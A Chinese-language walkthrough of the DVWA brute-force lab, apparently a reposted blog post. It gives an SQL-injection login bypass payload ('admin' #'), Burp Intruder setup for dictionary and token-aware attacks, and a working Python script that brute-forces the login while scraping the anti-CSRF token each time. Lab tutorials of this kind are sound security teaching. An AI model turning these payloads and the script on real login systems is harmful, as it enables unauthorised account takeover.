目錄:
- 1.Low
- 2.Medium
- 3.High
- 方法1——Burp爆破
- 方法2——Python腳本爆破
- 4.Impossible
1.Low
查看原始碼發現關鍵代碼為:
SELECT * FROM users WHERE user = '$user' AND password = '$pass';
Username處輸入:admin' #
SQL注入之后查詢陳述句變成:
SELECT * FROM users WHERE user ='admin' # AND password = '$pass';
#為單行注釋符,#后面的陳述句不會執行
真正執行的陳述句為
SELECT * FROM users WHERE user ='admin'
所以加上單引號閉合字串再注釋掉
只要存在admin就能登錄成功,
2.Medium
多了 mysqli_real_escape_string()函式,他轉義了特殊字符,以至于Low級別的方法無效,
用burp的Proxy-intercept找到密碼變數,然后發送到intruder暴力破解,
打開火狐瀏覽器,設定代理為127.0.0.1:8080
打開burp的Proxy模塊

點擊Login

發現已經攔截http報文了

右鍵http報文然后點擊Send to Intruder,然后點擊進入Intruder模塊
點擊右邊的Clear § ,然后選中密碼,點擊Add §
表示將要爆破密碼此處的內容

點擊Payloads,然后點擊Payload Options的Load,選擇字典檔案

配置完成后點擊右上角的Start attach開始暴力破解
爆破一段時間后,按照包大小排序,查看與其他回應包不同的資料,查看發現密碼已經爆破成功,

3.High
多出了token函式,登陸的時候必須帶上token值,
token是計算機術語令牌,令牌是一種能夠控制站點占有媒體的特殊幀,以區別資料幀及其他控制幀;token其實說的更通俗點可以叫暗號,在一些資料傳輸之前,要先進行暗號的核對,不同的暗號被授權不同的資料操作,
——PHP中文網
方法1——Burp爆破
burp抓包,把密碼和token欄位add §,然后選擇Pitchfork模式
Pitchfork(草叉模式)——它可以使用多組Payload集合,在每一個不同的Payload標志位置上,遍歷所有的Payload,
在Resource Pool(資源池)中選擇單執行緒爆破,因為接下來要設定的Recursive_Grep模式只能單執行緒爆破

然后在Options選項卡,選擇Grep-Extract(意思是用于提取回應訊息中的有用資訊),點擊Add進入Define頁面,


配置之后就會每次從回應中獲取該值,本文中即為token,
然后設定payload,payload 1按照Medium等級那樣匯入字典即可,
Payload 2的Payload type選擇Recursive grep,
它表示將服務器每次回傳的資料來替換payload中的變數值,這里用來每次替換user_token的值,
然后在Initial payload for first request:
設定第一條請求包的token值,

點擊Start attack
成功爆破,

方法2——Python腳本爆破
代碼來源:DVWA_Brute Force(暴力破解)_High
from bs4 import BeautifulSoup
import requests
from requests.models import Response
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Cookie':'PHPSESSID=u9a1hc9luq0u8fs4s2a8k12g05; security=high'
}
url = "http://192.168.171.10/vulnerabilities/brute/index.php"
def get_token(url,headers):
r = requests.get(url,headers=header)
html = r.content.decode()
soup = BeautifulSoup(html,"html.parser")
user_token = soup.find_all('input')[3]["value"]
return user_token
i = 0
for admin in open("userPATH"):
for line in open("passwordPATH"):
u_token = get_token(url,header)
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login','user_token':u_token}
i = i + 1
Response = requests.get(url,params=payload,headers=header)
print(i,username,password,len(Response.content.decode()))
user_token = get_token(url,header)
運行結果如下:

4.Impossible
通過原始碼可以看到,impossible級別在 high 的基礎上對用戶的登錄次數有所限制,當用戶登錄失敗達到3次,將會鎖住賬號15秒,同時采用了更為安全的PDO(PHP Data Object)機制防御sql注入,這里因為不能使用PDO擴展本身執行任何資料庫操作,而sql注入的關鍵就是通過破壞sql陳述句結構執行惡意的sql命令,所以無法暴力破解,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/384149.html
標籤:其他
